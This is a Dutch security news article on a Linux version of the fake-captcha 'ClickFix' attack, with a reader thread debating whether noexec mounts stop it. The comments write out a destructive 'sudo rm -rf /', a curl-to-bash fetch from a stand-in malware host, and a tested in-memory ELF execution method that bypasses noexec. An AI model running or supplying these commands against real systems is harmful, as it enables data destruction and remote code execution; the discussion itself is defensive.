image

Linux-variant van aanval met malafide captcha ontdekt

dinsdag 13 mei 2025, 13:43 door Redactie, 22 reacties

Onderzoekers hebben een Linux-variant van de aanval met malafide captcha's ontdekt. Bij dergelijke aanvallen, die ook wel ClickFix worden genoemd, proberen aanvallers het doelwit een malafide commando op het systeem te laten uitvoeren. De aanvallers maken daarvoor gebruik van een zogenaamde captcha. Het doelwit krijgt eerst een melding te zien dat hij een 'captcha' moet oplossen. Het malafide commando is vaak dan al naar het clipboard gekopieerd.

De betreffende pagina bevat ook instructies voor het plakken en uitvoeren van het gekopieerde commando. Bij de Windows-variant gaat het om een PowerShell-commando waarmee malware wordt gedownload. Securitybedrijf Hunt.io meldt nu het bestaan van een Linux-variant, die verscheen op een nagemaakte versie van de website van het Indiase ministerie van Defensie. Hoe doelwitten hiernaartoe werden gelokt laten de onderzoekers niet weten.

De website laat als eerste een captcha zien. Zodra het doelwit op deze captcha klikt wordt een shell-commando naar het clipboard gekopieerd. Vervolgens wordt het doelwit doorgestuurd naar een pagina met instructies voor het doorlopen van de 'verificatiestappen'. In werkelijkheid wordt met de gegeven instructies een terminal geopend, waarna het doelwit het plakcommando moet uitvoeren, gevolgd door enter. Het dan uitgevoerde script downloadt een afbeelding die in de achtergrond wordt geopend. De onderzoekers zagen geen verdere activiteiten. Het zou dan ook om een test kunnen gaan. Volgens de onderzoekers blijven aanvallers ClickFix-achtige technieken in nieuwe contexten testen.

Image

Reacties (22)
13-05-2025, 14:47 door Anoniem
Even zoeken op "ALT+F2 terminal" geeft resultaten die over GNOME gaan. Ik zie ook een beschrijving die zegt dat het een "run application"-dialoogvenstertje opent, geschreven door iemand die voor zover ik zie verzuimt te vermelden over welke window of desktop manager die het heeft. De beschreven "verification steps" werken voor allebei, natuurlijk.

Maar het is niet universeel voor Linux. Het hangt af van de window of desktop manager die je gebruikt, en daar zijn veel mogelijkheden voor. In i3, dat ik gebruik, moet ik de windows-toets+enter intypen voor een terminalvenster, en als ik me goed herinner was dat in een andere tiling window manager die ik eerder gebruikte ook zo.
13-05-2025, 15:48 door Anoniem
Vaak heb je nog steeds een wachtwoord-verificatie voor wijzigingen binnenin het systeem.
Zo ook bij het installeren van PPA's (alternatieve repo's) en dergelijke potentiele gevaren.
Wel zou het eventueel kunnen leiden tot potentiele nieuwe exploitaties, terminal commands zijn immers veelvuldig en veelzijdig.
Een beetje hardening van het OS zelf kan ook geen kwaad, denk hierbij aan containerization (sandboxing) en het minimaliseren van resources voor een effectievere exploit mitigatie. (Sluit functies buiten die niet vereist zijn)
Het instalkeren van flatpaks helpt hierbij, evenals besturingsystemen zoals Fedora Silverblue, (immutable) ParrotOS, QubesOS+Whonix, TailsOS, etc.(Vooral die laatste twee zijn zeer krachtig)
Zet tevens de Linux firewall aan en gebruik desnoods een blackist van IP's via IPtables-functionaliteit.
Oh, en kopieer nooit zomaar commands van websites zonder na te gaan wat deze precies doen als men niet bekend is met Linux commands.
13-05-2025, 16:34 door Anoniem
Door Anoniem: Vaak heb je nog steeds een wachtwoord-verificatie voor wijzigingen binnenin het systeem.
Zo ook bij het installeren van PPA's (alternatieve repo's) en dergelijke potentiele gevaren.
Wel zou het eventueel kunnen leiden tot potentiele nieuwe exploitaties, terminal commands zijn immers veelvuldig en veelzijdig.
Een beetje hardening van het OS zelf kan ook geen kwaad, denk hierbij aan containerization (sandboxing) en het minimaliseren van resources voor een effectievere exploit mitigatie. (Sluit functies buiten die niet vereist zijn)
Het instalkeren van flatpaks helpt hierbij, evenals besturingsystemen zoals Fedora Silverblue, (immutable) ParrotOS, QubesOS+Whonix, TailsOS, etc.(Vooral die laatste twee zijn zeer krachtig)
Zet tevens de Linux firewall aan en gebruik desnoods een blackist van IP's via IPtables-functionaliteit.
Oh, en kopieer nooit zomaar commands van websites zonder na te gaan wat deze precies doen als men niet bekend is met Linux commands.
Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
13-05-2025, 16:36 door Anoniem
In werkelijkheid wordt met de gegeven instructies een terminal geopend, waarna het doelwit het plakcommando moet uitvoeren, gevolgd door enter
Kansloos en al helemaal als noexec optie wordt gezet. Linux != Windows
Door Anoniem, 13-05-2025, 14:47 uur:
Even zoeken op "ALT+F2 terminal" geeft resultaten die over GNOME gaan. Ik zie ook een beschrijving die zegt dat het een "run application"-dialoogvenstertje opent, geschreven door iemand die voor zover ik zie verzuimt te vermelden over welke window of desktop manager die het heeft. [...]
Disto's met KDE Plasma hebben KRunner, dat opent met Alt+F2.
13-05-2025, 18:38 door Anoniem
Door Anoniem: Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
Door Anoniem: Kansloos en al helemaal als noexec optie wordt gezet. Linux != Windows
Niet zo kansloos als ze zoiets plakken:
bash -c "hier; een reeks; kwaadaardige; commando's"
Ik denk niet dat een Linux-systeem nog lekker werkt als je noexec zet op de partitie waar bash, python3 en dergelijke op staan.
13-05-2025, 18:42 door Anoniem
Door Anoniem:
Door Anoniem: Vaak heb je nog steeds een wachtwoord-verificatie voor wijzigingen binnenin het systeem.
Zo ook bij het installeren van PPA's (alternatieve repo's) en dergelijke potentiele gevaren.
Wel zou het eventueel kunnen leiden tot potentiele nieuwe exploitaties, terminal commands zijn immers veelvuldig en veelzijdig.
Een beetje hardening van het OS zelf kan ook geen kwaad, denk hierbij aan containerization (sandboxing) en het minimaliseren van resources voor een effectievere exploit mitigatie. (Sluit functies buiten die niet vereist zijn)
Het instalkeren van flatpaks helpt hierbij, evenals besturingsystemen zoals Fedora Silverblue, (immutable) ParrotOS, QubesOS+Whonix, TailsOS, etc.(Vooral die laatste twee zijn zeer krachtig)
Zet tevens de Linux firewall aan en gebruik desnoods een blackist van IP's via IPtables-functionaliteit.
Oh, en kopieer nooit zomaar commands van websites zonder na te gaan wat deze precies doen als men niet bekend is met Linux commands.
Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
Inderdaad, daar zegt u zowat! Top! Bedankt voor de info!
13-05-2025, 21:21 door Anoniem
Linux-variant van aanval met malafide captcha ontdekt
De twee gerapporteerde IP-adressen zijn bij mij geblokkeerd in de Firewall.
Dus die grap gaat niet meer op hier.
13-05-2025, 23:39 door Anoniem
Door Anoniem:
Door Anoniem: Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
Door Anoniem: Kansloos en al helemaal als noexec optie wordt gezet. Linux != Windows
Niet zo kansloos als ze zoiets plakken:
bash -c "hier; een reeks; kwaadaardige; commando's"
Ik denk niet dat een Linux-systeem nog lekker werkt als je noexec zet op de partitie waar bash, python3 en dergelijke op staan.
Niemand zet noexec op de partitie waar bash of python3 op staat. Hoe verzin je het! Gedownload script wordt opgeslagen in $HOME of /tmp en heeft daar dan geen execute rechten! Dus kansloos.
14-05-2025, 11:59 door Anoniem
Door Anoniem:
Door Anoniem:
Door Anoniem: Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
Door Anoniem: Kansloos en al helemaal als noexec optie wordt gezet. Linux != Windows
Niet zo kansloos als ze zoiets plakken:
bash -c "hier; een reeks; kwaadaardige; commando's"
Ik denk niet dat een Linux-systeem nog lekker werkt als je noexec zet op de partitie waar bash, python3 en dergelijke op staan.
Niemand zet noexec op de partitie waar bash of python3 op staat. Hoe verzin je het! Gedownload script wordt opgeslagen in $HOME of /tmp en heeft daar dan geen execute rechten! Dus kansloos.

Zeker niet kansloos, dit is gewoon best practice. Executables (systeem) worden onder /usr/bin geplaatst en gebruikersspecifieke executables onder /usr/local/bin.
14-05-2025, 15:07 door Anoniem
Door Anoniem:
Door Anoniem:
Door Anoniem: Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
Door Anoniem: Kansloos en al helemaal als noexec optie wordt gezet. Linux != Windows
Niet zo kansloos als ze zoiets plakken:
bash -c "hier; een reeks; kwaadaardige; commando's"
Ik denk niet dat een Linux-systeem nog lekker werkt als je noexec zet op de partitie waar bash, python3 en dergelijke op staan.
Niemand zet noexec op de partitie waar bash of python3 op staat. Hoe verzin je het!
Vandaar "Ik denk niet dat een Linux-systeem nog lekker werkt als...". Natuurlijk doet niemand dat. Dat is het punt dat ik maakte. En dus kan er code worden uitgevoerd zonder het eerst op een partitie op te slaan.
Gedownload script wordt opgeslagen in $HOME of /tmp en heeft daar dan geen execute rechten! Dus kansloos.
Dat hoeft dus niet. De lengte van het script in de vorm die ik hierboven gebruikte is beperkt tot de lengte van één regel in de shell, uit mijn hoofd tot 1024 bytes voor bash, maar wie weet genoeg om schade aan te richten. En als het plakken inderdaad in een terminalvenster gebeurt is zoiets als dit ook mogelijk:

python3 <<EOF
# Plak deze vier regels voor de grap eens in je terminal en druk op enter.
print("\nCODE UITGEVOERD!\n")
EOF

Dat is een Python-scriptje van 2 regels ingebed in twee regels shell-code, maar ik heb zojuist als testje er op dezelfde manier een van over de 400 regels uitgevoerd, 17kB, en dat liep als een tierelier. Zonder dat er iets op schijf werd opgeslagen dus. En door domweg een stuk of 60 lege regels aan het begin toe te voegen ziet de gebruiker de script-code niet. Een terminal-emulator als xfce4-terminal heeft de optie om code met regelovergangen erin eerst in een venster te tonen en pas te plakken als je daar in dat venster nog eens voor kiest, maar xterm bijvoorbeeld doet dat niet.

Noexec is een drempel, maar bedenk dat deze manier van aanvallen op gebruikers gericht is die duidelijk al niet doorzien waar ze mee bezig zijn als ze een terminalvenster openen en zonder inzicht in wat ze doen instructies opvolgen. Als de aanvaller zo iemand treft is die ook wel te verleiden tot meer handelingen die beter nagelaten kunnen worden.

Noexec is dus een drempel die stuk makkelijker te passeren is dan jij nu voor je ziet. Het is zeker niet kansloos.
14-05-2025, 17:14 door Anoniem
Door Anoniem:
Door Anoniem:
Door Anoniem:
Door Anoniem: Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
Door Anoniem: Kansloos en al helemaal als noexec optie wordt gezet. Linux != Windows
Niet zo kansloos als ze zoiets plakken:
bash -c "hier; een reeks; kwaadaardige; commando's"
Ik denk niet dat een Linux-systeem nog lekker werkt als je noexec zet op de partitie waar bash, python3 en dergelijke op staan.
Niemand zet noexec op de partitie waar bash of python3 op staat. Hoe verzin je het! Gedownload script wordt opgeslagen in $HOME of /tmp en heeft daar dan geen execute rechten! Dus kansloos.

Zeker niet kansloos, dit is gewoon best practice. Executables (systeem) worden onder /usr/bin geplaatst en gebruikersspecifieke executables onder /usr/local/bin.
En? een gebruiker heeft daar geen download rechten en kan nog steeds niets kwaadaardigs executeren.
Trouwens in /usr/bin/ staat software die met de packagemanager is geïnstalleerd zoals firefox.
Software geinstalleerd handmatig door de sysadmin gaat o.a. in /usr/local/bin.
14-05-2025, 17:22 door Anoniem
Door Anoniem:
Door Anoniem:
Door Anoniem:
Door Anoniem: Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
Door Anoniem: Kansloos en al helemaal als noexec optie wordt gezet. Linux != Windows
Niet zo kansloos als ze zoiets plakken:
bash -c "hier; een reeks; kwaadaardige; commando's"
Ik denk niet dat een Linux-systeem nog lekker werkt als je noexec zet op de partitie waar bash, python3 en dergelijke op staan.
Niemand zet noexec op de partitie waar bash of python3 op staat. Hoe verzin je het!
Vandaar "Ik denk niet dat een Linux-systeem nog lekker werkt als...". Natuurlijk doet niemand dat. Dat is het punt dat ik maakte. En dus kan er code worden uitgevoerd zonder het eerst op een partitie op te slaan.
Gedownload script wordt opgeslagen in $HOME of /tmp en heeft daar dan geen execute rechten! Dus kansloos.
Dat hoeft dus niet. De lengte van het script in de vorm die ik hierboven gebruikte is beperkt tot de lengte van één regel in de shell, uit mijn hoofd tot 1024 bytes voor bash, maar wie weet genoeg om schade aan te richten. En als het plakken inderdaad in een terminalvenster gebeurt is zoiets als dit ook mogelijk:

python3 <<EOF
# Plak deze vier regels voor de grap eens in je terminal en druk op enter.
print("\nCODE UITGEVOERD!\n")
EOF

Dat is een Python-scriptje van 2 regels ingebed in twee regels shell-code, maar ik heb zojuist als testje er op dezelfde manier een van over de 400 regels uitgevoerd, 17kB, en dat liep als een tierelier. Zonder dat er iets op schijf werd opgeslagen dus. En door domweg een stuk of 60 lege regels aan het begin toe te voegen ziet de gebruiker de script-code niet. Een terminal-emulator als xfce4-terminal heeft de optie om code met regelovergangen erin eerst in een venster te tonen en pas te plakken als je daar in dat venster nog eens voor kiest, maar xterm bijvoorbeeld doet dat niet.

Noexec is een drempel, maar bedenk dat deze manier van aanvallen op gebruikers gericht is die duidelijk al niet doorzien waar ze mee bezig zijn als ze een terminalvenster openen en zonder inzicht in wat ze doen instructies opvolgen. Als de aanvaller zo iemand treft is die ook wel te verleiden tot meer handelingen die beter nagelaten kunnen worden.

Noexec is dus een drempel die stuk makkelijker te passeren is dan jij nu voor je ziet. Het is zeker niet kansloos.
De malware zelf plakken in een terminal en dan ook nog executeren is erg ver gezocht en dus kansloos vind ik. Daar heb je inderdaad geen noexec flag voor nodig zolang het in geheugen blijft (noexec kan je wel op shared memory zetten trouwens)
Fileless Malware is wel een ding om in de gaten te houden, vooralsnog kan het alleen gelegitimeerde tools van het systeem zelf gebruiken maar dat konden gebruikers al.
14-05-2025, 22:30 door Anoniem
Creatief maar wie trapt hier in? Script kiddie malware.
15-05-2025, 07:56 door Anoniem
Dit is geen “aanval”, maar een vriendelijk verzoek om malware te installeren op je Linux-systeem. Je moet wel heel gemotiveerd zijn om hier in te trappen
15-05-2025, 07:57 door Anoniem
Door Anoniem: De malware zelf plakken in een terminal en dan ook nog executeren is erg ver gezocht en dus kansloos vind ik. Daar heb je inderdaad geen noexec flag voor nodig zolang het in geheugen blijft (noexec kan je wel op shared memory zetten trouwens)
Fileless Malware is wel een ding om in de gaten te houden, vooralsnog kan het alleen gelegitimeerde tools van het systeem zelf gebruiken maar dat konden gebruikers al.
O, maar alles wat een gebruiker downloadt kan enkel gelegitimeerde tools van het systeem zelf gebruiken, dus is het uitvoeren van gedownloade code geen enkel probleem en heb je dat hele noexec om te beginnen al nergens voor nodig. Die cybercriminelen die deze malafide "captcha" bedacht hebben zitten duidelijk op een dood spoor. Of toch niet?

Vergeet je misschien dat het niet alleen gaat om tools die al op het systeem geïnstalleerd zijn maar dat ook de gedownloade code zelf wordt uitgevoerd? En dat die misbruik kan maken van zwakheden in het systeem of van de gebruiker?

Of misschien onderschat je de kracht van Python en veel andere scripttalen. Je kan er gewoon system calls mee uitvoeren, in die zin kunnen die talen erg veel dat met gecompileerde code ook kan. En als er toch een echte executable nodig is voor een aanval dan kan je die met Python (of Perl en ongetwijfeld met andere scripttalen) vanuit geheugen uitvoeren in plaats van vanaf een schijf. Ik ging even zoeken ("linux run elf from noexec" — ELF is het executable-formaat van Linux) en dit is het eerste resultaat van meteen mijn eerste zoekopdracht, zo makkelijk is het te vinden:

https://github.com/nnsee/fileless-elf-exec

Dit script genereert code voor een script dat een ELF-executable, gecomprimeerd en base64-gecodeerd in zijn eigen code heeft, dat via de system call memfd_create() in een "bestand" zet dat alleen in geheugen bestaat, en vervolgens met de system call execle() dat uitvoert. Die code kan in Python, Perl of Ruby worden gegenereerd. Het resultaat kan rechtstreeks op de manier die ik beschreef door de gebruiker in een terminal worden geplakt. Je kan langs die weg een gebruiker een door de aanvaller zelf aangeleverde executable laten uitvoeren zonder dat noexec dat tegenhoudt. Het is een scriptje van (afhankelijk van de gekozen taal) 11 of 12 statements (waaronder wel een erg lange met de base64-waarde), dat is alles. Zo makkelijk is het!

Ik heb gezien dat het werkt. Ik heb natuurlijk de broncode van dat script geïnspecteerd voor ik het uitvoerde. Daarna heb ik code voor een onschuldige executable gegenereerd:

python3 fee.py /usr/bin/ls >ls.py

Vervolgens heb ik ls.py ingepakt: de regel "python3 <<EOF" ervoor gezet en "EOF" erna. Dat geheel heb ik gekopieerd en geplakt in een terminal op een systeem met noexec op /home en /tmp. Na een druk op enter werd het ls-commando keurig uitgevoerd. En nee, in de geplakte code zit geen aanroep van het ls-commando op het systeem, het is de in de source opgenomen code die wordt uitgevoerd. De beschreven nep-captcha kan dus gebruikt worden om een executable uit te voeren die de aanvaller aanlevert, ook op een systeem dat noexec gebruikt.

Conclusie: dat hele noexec is echt veel makkelijker te omzeilen dan je jezelf graag wijsmaakt. Dat betekent dat het meer een bescherming tegen ongelukjes is dan tegen gerichte aanvallen.

Tot slot een advies: je redeneert naar de door jou gewenste uitkomst toe. Doe juist (ook) het omgekeerde, want een van de beste manieren om te toetsen of je gelijk hebt is om serieus te proberen je ongelijk aan te tonen. Grotendeels via zoekopdrachten, je hoeft niet alles wat anderen al hebben uitgeplozen zelf over te doen. Maar zoek er serieus naar. Als je dingen vindt die je ongelijk aantonen dan weet je dat je de plank missloeg en doe je er verstandig aan je mening te herzien.
15-05-2025, 11:53 door Anoniem
Door Anoniem:
Door Anoniem: De malware zelf plakken in een terminal en dan ook nog executeren is erg ver gezocht en dus kansloos vind ik. Daar heb je inderdaad geen noexec flag voor nodig zolang het in geheugen blijft (noexec kan je wel op shared memory zetten trouwens)
Fileless Malware is wel een ding om in de gaten te houden, vooralsnog kan het alleen gelegitimeerde tools van het systeem zelf gebruiken maar dat konden gebruikers al.
O, maar alles wat een gebruiker downloadt kan enkel gelegitimeerde tools van het systeem zelf gebruiken, dus is het uitvoeren van gedownloade code geen enkel probleem en heb je dat hele noexec om te beginnen al nergens voor nodig. Die cybercriminelen die deze malafide "captcha" bedacht hebben zitten duidelijk op een dood spoor. Of toch niet?

Vergeet je misschien dat het niet alleen gaat om tools die al op het systeem geïnstalleerd zijn maar dat ook de gedownloade code zelf wordt uitgevoerd? En dat die misbruik kan maken van zwakheden in het systeem of van de gebruiker?

Of misschien onderschat je de kracht van Python en veel andere scripttalen. Je kan er gewoon system calls mee uitvoeren, in die zin kunnen die talen erg veel dat met gecompileerde code ook kan. En als er toch een echte executable nodig is voor een aanval dan kan je die met Python (of Perl en ongetwijfeld met andere scripttalen) vanuit geheugen uitvoeren in plaats van vanaf een schijf. Ik ging even zoeken ("linux run elf from noexec" — ELF is het executable-formaat van Linux) en dit is het eerste resultaat van meteen mijn eerste zoekopdracht, zo makkelijk is het te vinden:

https://github.com/nnsee/fileless-elf-exec

Dit script genereert code voor een script dat een ELF-executable, gecomprimeerd en base64-gecodeerd in zijn eigen code heeft, dat via de system call memfd_create() in een "bestand" zet dat alleen in geheugen bestaat, en vervolgens met de system call execle() dat uitvoert. Die code kan in Python, Perl of Ruby worden gegenereerd. Het resultaat kan rechtstreeks op de manier die ik beschreef door de gebruiker in een terminal worden geplakt. Je kan langs die weg een gebruiker een door de aanvaller zelf aangeleverde executable laten uitvoeren zonder dat noexec dat tegenhoudt. Het is een scriptje van (afhankelijk van de gekozen taal) 11 of 12 statements (waaronder wel een erg lange met de base64-waarde), dat is alles. Zo makkelijk is het!

Ik heb gezien dat het werkt. Ik heb natuurlijk de broncode van dat script geïnspecteerd voor ik het uitvoerde. Daarna heb ik code voor een onschuldige executable gegenereerd:

python3 fee.py /usr/bin/ls >ls.py

Vervolgens heb ik ls.py ingepakt: de regel "python3 <<EOF" ervoor gezet en "EOF" erna. Dat geheel heb ik gekopieerd en geplakt in een terminal op een systeem met noexec op /home en /tmp. Na een druk op enter werd het ls-commando keurig uitgevoerd. En nee, in de geplakte code zit geen aanroep van het ls-commando op het systeem, het is de in de source opgenomen code die wordt uitgevoerd. De beschreven nep-captcha kan dus gebruikt worden om een executable uit te voeren die de aanvaller aanlevert, ook op een systeem dat noexec gebruikt.

Conclusie: dat hele noexec is echt veel makkelijker te omzeilen dan je jezelf graag wijsmaakt. Dat betekent dat het meer een bescherming tegen ongelukjes is dan tegen gerichte aanvallen.

Tot slot een advies: je redeneert naar de door jou gewenste uitkomst toe. Doe juist (ook) het omgekeerde, want een van de beste manieren om te toetsen of je gelijk hebt is om serieus te proberen je ongelijk aan te tonen. Grotendeels via zoekopdrachten, je hoeft niet alles wat anderen al hebben uitgeplozen zelf over te doen. Maar zoek er serieus naar. Als je dingen vindt die je ongelijk aantonen dan weet je dat je de plank missloeg en doe je er verstandig aan je mening te herzien.
Dat noexec flaggetje icm het x bitje is heel krachtig. Alle driveby download infecties, het beruchte windows syndroom (en attachment executie), waar al die ransomware infecties mee beginnen, die ik heb gezien raken de disk aan, waardoor de malware niet kan worden gexecuteerd. Ik moet de eerste idioot nog zien die onbekende code plakt in zijn terminal en dat executeert.
Je hebt wel gelijk in die zin dat:If you can execute a python script, you can execute arbitrary binary. Eenmaal In de shell kan je natuurlijk ook van alles als gebruiker typen, maar je moet wel toegang hebben.
Je kan met SELinux overgens wel ver gaan om die python interpreter te beperken tot bekende software

Ik zei trouwens al dat fileless Malware een probleem is omdat het makkelijk onder de radar blijft. De kunst is om alleen code in geheugen te executeren dat van ons is. Daar zijn veel mensen mee bezig denk ik. Probleem is dat we niet weten waar die code zit? https://docs.google.com/presentation/d/1pF63TjaGorKTx-E56cNVkFreEeLn8BaFnukBUd2EehE/edit#slide=id.g2f30f7852a4_0_381
15-05-2025, 12:33 door Anoniem
Door Anoniem: Dit is geen “aanval”, maar een vriendelijk verzoek om malware te installeren op je Linux-systeem.

Er is hier sprake van een vorm van social engineering. De aanval is gericht het brein en de perceptie van de gebruiker.
15-05-2025, 12:51 door Anoniem
Door Anoniem:
Door Anoniem:
Door Anoniem: De malware zelf plakken in een terminal en dan ook nog executeren is erg ver gezocht en dus kansloos vind ik. Daar heb je inderdaad geen noexec flag voor nodig zolang het in geheugen blijft (noexec kan je wel op shared memory zetten trouwens)
Fileless Malware is wel een ding om in de gaten te houden, vooralsnog kan het alleen gelegitimeerde tools van het systeem zelf gebruiken maar dat konden gebruikers al.
O, maar alles wat een gebruiker downloadt kan enkel gelegitimeerde tools van het systeem zelf gebruiken, dus is het uitvoeren van gedownloade code geen enkel probleem en heb je dat hele noexec om te beginnen al nergens voor nodig. Die cybercriminelen die deze malafide "captcha" bedacht hebben zitten duidelijk op een dood spoor. Of toch niet?

Vergeet je misschien dat het niet alleen gaat om tools die al op het systeem geïnstalleerd zijn maar dat ook de gedownloade code zelf wordt uitgevoerd? En dat die misbruik kan maken van zwakheden in het systeem of van de gebruiker?

Of misschien onderschat je de kracht van Python en veel andere scripttalen. Je kan er gewoon system calls mee uitvoeren, in die zin kunnen die talen erg veel dat met gecompileerde code ook kan. En als er toch een echte executable nodig is voor een aanval dan kan je die met Python (of Perl en ongetwijfeld met andere scripttalen) vanuit geheugen uitvoeren in plaats van vanaf een schijf. Ik ging even zoeken ("linux run elf from noexec" — ELF is het executable-formaat van Linux) en dit is het eerste resultaat van meteen mijn eerste zoekopdracht, zo makkelijk is het te vinden:

https://github.com/nnsee/fileless-elf-exec

Dit script genereert code voor een script dat een ELF-executable, gecomprimeerd en base64-gecodeerd in zijn eigen code heeft, dat via de system call memfd_create() in een "bestand" zet dat alleen in geheugen bestaat, en vervolgens met de system call execle() dat uitvoert. Die code kan in Python, Perl of Ruby worden gegenereerd. Het resultaat kan rechtstreeks op de manier die ik beschreef door de gebruiker in een terminal worden geplakt. Je kan langs die weg een gebruiker een door de aanvaller zelf aangeleverde executable laten uitvoeren zonder dat noexec dat tegenhoudt. Het is een scriptje van (afhankelijk van de gekozen taal) 11 of 12 statements (waaronder wel een erg lange met de base64-waarde), dat is alles. Zo makkelijk is het!

Ik heb gezien dat het werkt. Ik heb natuurlijk de broncode van dat script geïnspecteerd voor ik het uitvoerde. Daarna heb ik code voor een onschuldige executable gegenereerd:

python3 fee.py /usr/bin/ls >ls.py

Vervolgens heb ik ls.py ingepakt: de regel "python3 <<EOF" ervoor gezet en "EOF" erna. Dat geheel heb ik gekopieerd en geplakt in een terminal op een systeem met noexec op /home en /tmp. Na een druk op enter werd het ls-commando keurig uitgevoerd. En nee, in de geplakte code zit geen aanroep van het ls-commando op het systeem, het is de in de source opgenomen code die wordt uitgevoerd. De beschreven nep-captcha kan dus gebruikt worden om een executable uit te voeren die de aanvaller aanlevert, ook op een systeem dat noexec gebruikt.

Conclusie: dat hele noexec is echt veel makkelijker te omzeilen dan je jezelf graag wijsmaakt. Dat betekent dat het meer een bescherming tegen ongelukjes is dan tegen gerichte aanvallen.

Tot slot een advies: je redeneert naar de door jou gewenste uitkomst toe. Doe juist (ook) het omgekeerde, want een van de beste manieren om te toetsen of je gelijk hebt is om serieus te proberen je ongelijk aan te tonen. Grotendeels via zoekopdrachten, je hoeft niet alles wat anderen al hebben uitgeplozen zelf over te doen. Maar zoek er serieus naar. Als je dingen vindt die je ongelijk aantonen dan weet je dat je de plank missloeg en doe je er verstandig aan je mening te herzien.
Dat noexec flaggetje icm het x bitje is heel krachtig. Alle driveby download infecties, het beruchte windows syndroom (en attachment executie), waar al die ransomware infecties mee beginnen, die ik heb gezien raken de disk aan, waardoor de malware niet kan worden gexecuteerd. Ik moet de eerste idioot nog zien die onbekende code plakt in zijn terminal en dat executeert.
Je hebt wel gelijk in die zin dat:If you can execute a python script, you can execute arbitrary binary. Eenmaal In de shell kan je natuurlijk ook van alles als gebruiker typen, maar je moet wel toegang hebben.
Je kan met SELinux overgens wel ver gaan om die python interpreter te beperken tot bekende software

Ik zei trouwens al dat fileless Malware een probleem is omdat het makkelijk onder de radar blijft. De kunst is om alleen code in geheugen te executeren dat van ons is. Daar zijn veel mensen mee bezig denk ik. Probleem is dat we niet weten waar die code zit? https://docs.google.com/presentation/d/1pF63TjaGorKTx-E56cNVkFreEeLn8BaFnukBUd2EehE/edit#slide=id.g2f30f7852a4_0_381
Naschrift: er is een patch om er voor te zorgen dat een interpreter alleen code van disk runt. Dus niet van de command line of stdin: SECBIT_EXEC_DENY_INTERACTIVE flag

Also this is mostly not meant for users that already have full shell access. Users with shell access are usually trusted to some degree, as the shell can pretty much do anything, python can do. And if you do not have shell access it will be much harder to set up pipes and redirect stdin. This can be one line of defense to prevent an attacker from executing arbitrary code, which the attacker might just have uploaded to some web service. There is the noexec mount flag for some reason. Unfortunately, noexec does not prevent the execution of scripts by an interpreter. And this is what is addressed with this patch.
https://lwn.net/Articles/982085/
15-05-2025, 19:04 door Anoniem
Door Anoniem:
Door Anoniem: Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
Door Anoniem: Kansloos en al helemaal als noexec optie wordt gezet. Linux != Windows
Niet zo kansloos als ze zoiets plakken:
bash -c "hier; een reeks; kwaadaardige; commando's"
Ik denk niet dat een Linux-systeem nog lekker werkt als je noexec zet op de partitie waar bash, python3 en dergelijke op staan.

Niet geprobeerd, maar zo te lezen gaan zowel IDEs als uitgebreidere desktop environments als KDE kapot als $HOME no-exec is.

verder vraag is me af welke gebruikerspopulatie mensen hier denken te bedienen in hun beheerders-fantasieen :

Als je praat over Linux gebruik met een interactieve desktop - dat is ongeveer 100% "developers" . Hetzij van code , of misschien researchers (mathlab, r, python etc etc) .
Allemaal werk wat je erg onmogelijk maakt als de gebruiker min of meer nergens z'n code/script kan laten draaien.

Linux _zonder_ desktop - dat zijn servers, met geen of amper gebruikers (admin tool user, paar last-resort admins).

En als je een "kiosk" systeem voor Internet en wat office zaken wilt - neem dan gewoon ChromeOS , in plaats van dat wiel weer te gaan zitten uitvinden met een distro en tig hardening tweaks die je van fora cut & paste.....
16-05-2025, 10:43 door Anoniem
Door Anoniem:
Door Anoniem:
Door Anoniem: Je vergeet de belangrijkste: Noexec optie zetten op $HOME /tmp en /dev/shm partitie
Door Anoniem: Kansloos en al helemaal als noexec optie wordt gezet. Linux != Windows
Niet zo kansloos als ze zoiets plakken:
bash -c "hier; een reeks; kwaadaardige; commando's"
Ik denk niet dat een Linux-systeem nog lekker werkt als je noexec zet op de partitie waar bash, python3 en dergelijke op staan.

Niet geprobeerd, maar zo te lezen gaan zowel IDEs als uitgebreidere desktop environments als KDE kapot als $HOME no-exec is.

verder vraag is me af welke gebruikerspopulatie mensen hier denken te bedienen in hun beheerders-fantasieen :

Als je praat over Linux gebruik met een interactieve desktop - dat is ongeveer 100% "developers" . Hetzij van code , of misschien researchers (mathlab, r, python etc etc) .
Allemaal werk wat je erg onmogelijk maakt als de gebruiker min of meer nergens z'n code/script kan laten draaien.

Linux _zonder_ desktop - dat zijn servers, met geen of amper gebruikers (admin tool user, paar last-resort admins).

En als je een "kiosk" systeem voor Internet en wat office zaken wilt - neem dan gewoon ChromeOS , in plaats van dat wiel weer te gaan zitten uitvinden met een distro en tig hardening tweaks die je van fora cut & paste.....

Verdiep je er eerst eens in. Uitgebreidere desktop environments als KDE gaan niet kapot als $HOME no-exec gemount is en de mensen die jij beschrijft gaan waarschijnlijk geen onbekende code plakken in een terminal.
Dit gaat over oplossingen om gewone gebruikers te beschermen tegen o.a. malafide captcha's en ander gespuis waar het windows systeem en in toenemende mate Android/Linux zo veel last van heeft. Dit is toch een security site?
Het gaat ook niet om een kiosk systeem (dat is ook met KDE heel makkelijk) . Het gaat over het voorkomen van het runnen van onbekende code. Genoeg voorbeelden van Fileless malware die niet door antivirus werd gedetecteerd.
17-05-2025, 22:00 door Anoniem
Een paste van:

sudo rm -rf /

zal in een fors aantal gevallen uitstekend een verwoesting aanrichten. daar helpt noexec dus niet.
er zijn zat creatievere manieren te verzinnen..

curl -o /dev/stdin https://malwaresource/somthing | bash

maakt meer dynamisch aanpassen mogelijk.
Reageren
Ondersteunde bbcodes
Bold: [b]bold text[/b]
Italic: [i]italic text[/i]
Underline: [u]underlined text[/u]
Quote: [quote]quoted text[/quote]
URL: [url]https://www.security.nl[/url]
Config: [config]config text[/config]
Code: [code]code text[/code]

